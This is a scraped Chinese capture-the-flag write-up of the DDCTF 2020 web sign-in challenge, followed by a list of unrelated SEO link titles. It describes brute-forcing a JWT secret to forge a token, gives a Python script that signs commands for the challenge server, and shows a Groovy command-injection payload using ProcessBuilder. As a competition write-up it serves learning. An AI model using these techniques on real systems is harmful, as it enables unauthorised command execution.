当前位置: 首页 > news >正文

南京网站优化哪家好优化网站页面

南京网站优化哪家好,优化网站页面,创立个网站专业卖手机,装修案例标题怎么写2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事) web签到题 步骤1:JWT绕过 图1:题目给定初始条件。 向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似&#x…


2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事)

web签到题

步骤1:JWT绕过

图1:题目给定初始条件。

向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似,猜测为 jwt 绕过。

{"code": 0,"message": "success","data": 		"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6InN0ciIsInB3ZCI6InN0ciIsInVzZXJSb2xlIjoiR1VFU1QiLCJleHAiOjE1OTkyODY0NzB9.z-i_zjudu5yejiFbCnE9P5NIjOJE61Bzpw75OX1SHmg"
}

我只做过一次 JWT 绕过的题目,并且当时记笔记的习惯不好,早已忘记。于是先查询了一下 JWT 相关原理和基本步骤,初略指导该漏洞可以使用 5 种方式进行攻击。考虑从最简单的暴力破解 key 开始尝试,使用 Junay 大佬博客推荐的工具进行尝试,爆破出密码为 str(不同的人密码可能不同),然后到 https://jwt.io/ 进行 jwt 伪造,将伪造后的 jwt 发送到 auth interface 得到 client 下载链接。

图2:爆破得到的密码

步骤2:逆向绕过客户端

获得 client 后,由队里的其他大佬进行逆向分析,并制作模拟客户端的工具。

# -*- coding: utf-8 -*-
from base64 import b64encode
import hmac
import hashlib
from time import time
import requests
import json
from pprint import pprintwhile True:cmd = input()  # 发送的命令appkey = "DDCTFWithYou"time_stamp = str(int(time()))strToSign = cmd + '|' + time_stamp# hmac_sha256加密sha = hmac.new(bytes(appkey, encoding='utf-8'),bytes(strToSign, encoding='utf-8'),digestmod=hashlib.sha256).digest()sign = bytes.decode(b64encode(sha))# 发起POST请求url = "http://117.51.136.197/server/command"data = {"signature": sign,"command": cmd,"timestamp": time_stamp}res = requests.post(url=url,data=json.dumps(data))pprint(res.text)

步骤3:命令执行

判断后端语言,构造 payload。首先利用语言的运算符测试是否执行,总结存在哪些运算符,然后测试出字符串可以使用 length 函数,猜测可能该语言为「面向对象语言」,从逻辑运算符 != 和 length 函数猜测可能是 Java 衍生的语言(输入的命令以 # 定义变量,可使用 #a=1 测试)——Groovy,但是始终无法完美匹配。最终在一篇博客找到突破点,文章中的很多情景很符合该题目,测试 java.lang.String.class.forName("java.lang.Runtime”) 时出现 command is evil,断定为 Groovy。于是便开始寻找 Java 命令注入代码,网上大多数的命令执行大都是使用 Runtime 类或 Processbuider 类,但都是多行代码的形式,CVE-2015-1427 的 exploit 也无法执行。网上的命名只有一行为命令执行,我们猜测可以采用乱码方式进行回显,然后在本地解码,然后从 IDEA 自动补全找到 readAllBytes 函数,将数据读出。然后把读出的数据使用 Base64 解码就得到命令执行的结果。

图3:编程语言分类

code:一些关键性的测试

1 == true
#a = 1
{1}
'abc'.length()
'abc'.concat('d')
'12 '.trim()
'1234'.getBytes()
'hello'.startsWith('1')
new ProcessBuilder("ls").start().getInputStream().readAllBytes()

图4:使用 readAllBytes 读出数据
image-20200913234130453

将读出的数据使用 base64 解开即可。

http://www.khdw.cn/news/44573.html

相关文章:

  • 可以做设计的网站有哪些全自动引流推广软件
  • 企业形象设计vi手册seo搜索引擎优化就业指导
  • 论坛网站推广方案可以免费发广告的网站
  • 西安有那些做网站的公司长尾关键词在线查询
  • 网站建设模块方案做个小程序需要花多少钱
  • 邮件网站怎么做百度客服号码
  • 企业网站ui模板下载友情链接的形式
  • 为什么建设网站很多公司没有软文是什么意思?
  • 西宁做网站建设公司电话营销技巧和营销方法
  • 芜湖哪里做网站曲靖seo建站
  • wordpress做门户谷歌seo网络公司
  • 三水网站建设百度电话客服24小时人工服务热线
  • 建设糖果网站的好处有哪些品牌营销公司
  • 中国电子系统建设公司网站国家免费职业培训平台
  • 网站原型设计和版式设计百度产品推广
  • 东莞建站模板源码seo在线培训课程
  • 赤峰网站建设哪家好今日冯站长之家
  • 网站建设与品牌策划方案报价谷歌商店下载
  • 天津网站优化百度开户代理公司
  • 石景山 网站建设seo技术培训沈阳
  • 日照seo整站优化价格百度首页纯净版怎么设置
  • 织梦唯美网站源码如何开发自己的小程序
  • discuz做视频网站百度文库官网入口
  • 做网站pdf不能预览上海seo网络优化
  • 网络推广计划怎么写seo网站排名优化公司哪家
  • 做网站满屏的照片尺寸是多少学大教育一对一收费价格表
  • 网站超链接怎么做重庆网站建设哪家好
  • 电商学院建设设计网站东莞seo网站管理
  • 表情包生成器在线制作gif企业网站优化关键词
  • 嘉兴做网站的公司有哪些网络营销产品策略